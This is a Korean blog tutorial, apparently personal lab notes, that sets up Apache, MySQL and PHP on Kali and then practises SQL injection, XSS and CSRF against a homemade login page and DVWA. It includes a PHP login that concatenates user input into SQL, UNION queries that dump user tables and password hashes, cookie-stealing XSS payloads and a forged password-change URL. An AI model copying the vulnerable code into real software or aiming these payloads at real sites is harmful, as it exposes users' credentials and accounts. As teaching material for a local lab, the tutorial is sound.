Apache·MySQL·PHP 연동 및 웹 취약점 실습

1. Apache 웹 서버 환경 구성

웹 애플리케이션 실습을 위해 먼저 Apache 서비스를 준비합니다. Kali Linux에는 Apache가 기본 설치되어 있으므로, 80번 포트 사용 여부를 확인합니다.

ss -tlnp | awk '$4 ~ /:80$/'

80번 포트를 점유 중인 프로세스가 있다면 종료 후 Apache를 기동합니다.

sudo systemctl start apache2
sudo systemctl is-active apache2

2. HTML 폼과 HTTP 메서드

클라이언트와 서버 간 데이터 전송을 위해 HTML 폼을 작성합니다. GET은 데이터를 URL에 노출시키고, POST는 메시지 본문에 담아 전송합니다.

<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <title>인증 및 검색</title>
    <style>
        .container { max-width: 480px; margin: 60px auto; font-family: 'Segoe UI', sans-serif; }
        fieldset { border: 1px solid #ccc; border-radius: 6px; margin-bottom: 24px; padding: 16px; }
        input[type="text"], input[type="password"] { width: 100%; padding: 10px; margin: 6px 0 14px; border: 1px solid #bbb; border-radius: 4px; box-sizing: border-box; }
        button { background: #2e7d32; color: #fff; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; }
        button:hover { background: #1b5e20; }
    </style>
</head>
<body>
    <div class="container">
        <fieldset>
            <legend>사용자 로그인</legend>
            <form action="/auth" method="post">
                <label>아이디</label>
                <input type="text" name="uid" required>
                <label>비밀번호</label>
                <input type="password" name="upw" required>
                <button type="submit">로그인</button>
            </form>
        </fieldset>
        <fieldset>
            <legend>검색</legend>
            <form action="/find" method="get">
                <label>검색어</label>
                <input type="text" name="keyword" required>
                <button type="submit">검색</button>
            </form>
        </fieldset>
    </div>
</body>
</html>

3. JavaScript 유효성 검사와 DOM 조작

사용자 입력을 클라이언트 단에서 점검하고, DOM API를 활용해 동적으로 환영 메시지를 표시합니다.

<script>
function handleSignIn() {
    const uid = document.querySelector('#uid').value.trim();
    const upw = document.querySelector('#upw').value;
    const msgBox = document.querySelector('#greeting');
    
    const uidPattern = /^[a-zA-Z0-9]{3,}$/;
    if (!uidPattern.test(uid)) {
        alert('아이디는 영숫자 조합 3자 이상이어야 합니다.');
        return;
    }
    if (upw.length < 6) {
        alert('비밀번호는 6자 이상 입력하세요.');
        return;
    }
    
    msgBox.textContent = '환영합니다, ' + uid + ' 님!';
    msgBox.style.display = 'block';
    document.querySelector('#signinForm').reset();
}
</script>

3.1 클라이언트 사이드 인젝션 시도

innerHTML<script> 태그 실행을 차단하므로, 이벤트 핸들러 속성을 이용한 우회 기법을 시험합니다.

<img src="#" onerror="alert('JS_Injection_OK')">

또는 HTML 구조를 직접 변형하는 페이로드도 동작합니다.

<h1 style="color:red">HTML_Injection_OK</h1>

4. MySQL 데이터베이스 준비

MySQL 서비스를 활성화하고, 실습용 데이터베이스와 계정, 테이블을 생성합니다.

sudo systemctl start mysql

mysql -u root -p
CREATE SCHEMA labdb DEFAULT CHARACTER SET utf8mb4;
USE labdb;

CREATE USER 'labuser'@'localhost' IDENTIFIED BY 'Secure#Pass9';
GRANT ALL PRIVILEGES ON labdb.* TO 'labuser'@'localhost';
ALTER USER 'labuser'@'localhost' IDENTIFIED BY 'New#Pass9';
FLUSH PRIVILEGES;

CREATE TABLE members (
    mid INT AUTO_INCREMENT PRIMARY KEY,
    account VARCHAR(50) NOT NULL,
    secret VARCHAR(255) NOT NULL
);

INSERT INTO members (account, secret) VALUES ('alpha_tester', 'New#Pass9');
SELECT * FROM members;

5. PHP를 통한 서버 사이드 인증

PHP로 MySQL에 연결하여 폼 데이터를 검증하는 백엔드 스크립트를 작성합니다.

<?php
$dsnHost = 'localhost';
$dsnDb   = 'labdb';
$dsnUser = 'labuser';
$dsnPw   = 'New#Pass9';

$link = new mysqli($dsnHost, $dsnUser, $dsnPw, $dsnDb);
if ($link->connect_errno) {
    die('연결 실패: ' . $link->connect_error);
}

$inputUser = $_POST['uid']   ?? '';
$inputPass = $_POST['upw']   ?? '';

$query = "SELECT * FROM members WHERE account='$inputUser' AND secret='$inputPass'";
$response = $link->query($query);

if ($response && $response->num_rows > 0) {
    echo '인증 성공: ' . htmlspecialchars($inputUser);
} else {
    echo '계정 또는 비밀번호가 올바르지 않습니다.';
}

$response->free();
$link->close();
?>

6. SQL Injection 및 XSS 공격

6.1 SQL Injection

비밀번호 필드에 논리 조건을 항상 참으로 만드는 구문을 삽입합니다.

' OR '1'='1

이 페이로드는 원래의 WHERE 절을 무력화하여 모든 행이 반환되도록 합니다.

6.2 Stored XSS + SQLi 결합

사용자명에 스크립트를, 비밀번호에 SQLi 페이로드를 동시에 입력하면 두 취약점이 동시에 발현됩니다.

사용자명: <svg onload=alert('XSS')>
비밀번호: ' OR '1'='1

7. DVWA 플랫폼 활용 심화 실습

DVWA(Damn Vulnerable Web Application)를 로컬 환경에 배포하고 난이도를 낮춘 후 실습을 진행합니다.

7.1 SQL Injection - 데이터베이스 탐색

정수형/문자형 인젝션 여부를 판별합니다.

1' AND '1'='2   -- 결과 변화 없음 (문자형 확정)
1' ORDER BY 3#  -- 오류 발생, 2개 컬럼 확인

UNION 기반으로 스키마 정보를 추출합니다.

-1' UNION SELECT database(),version()#
-1' UNION SELECT table_schema,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()#
-1' UNION SELECT table_name,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'#
-1' UNION SELECT user,password FROM users#

추출된 해시는 hashcat 또는 온라인 레인보우 테이블로 복원 가능합니다.

7.2 XSS 공격 분류별 실습

유형특징페이로드 예시
DOM-based해시/쿼리 파라미터가 DOM에 직접 삽입?default=<script>alert(1)</script>
Reflected요청 즉시 응답에 포함, URL 공유로 공격<script>alert(document.cookie)</script>
StoredDB 저장 후 지속적 노출, 영향 범위 큼maxlength 속성 우회 후 삽입

Stored XSS의 경우 브라우저 개발자 도구에서 maxlength 속성을 제거하거나 Burp Suite로 직접 요청을 변조하여 우회합니다.

7.3 CSRF 공격

비밀번호 변경 기능이 GET 메서드로 노출되어 있을 경우, URL 파라미터만 조작하면 피해자가 의도하지 않은 상태 변경이 가능합니다.

http://target/vulnerabilities/csrf/?password_new=Hacked123&password_conf=Hacked123

피해자가 로그인 상태에서 위 URL을 방문하면, 브라우저는 자동으로 쿠키를 첨부해 요청을 전송하여 비밀번호가 변경됩니다.

태그: Apache MySQL PHP SQL Injection XSS

5월 28일 15:49에 게시됨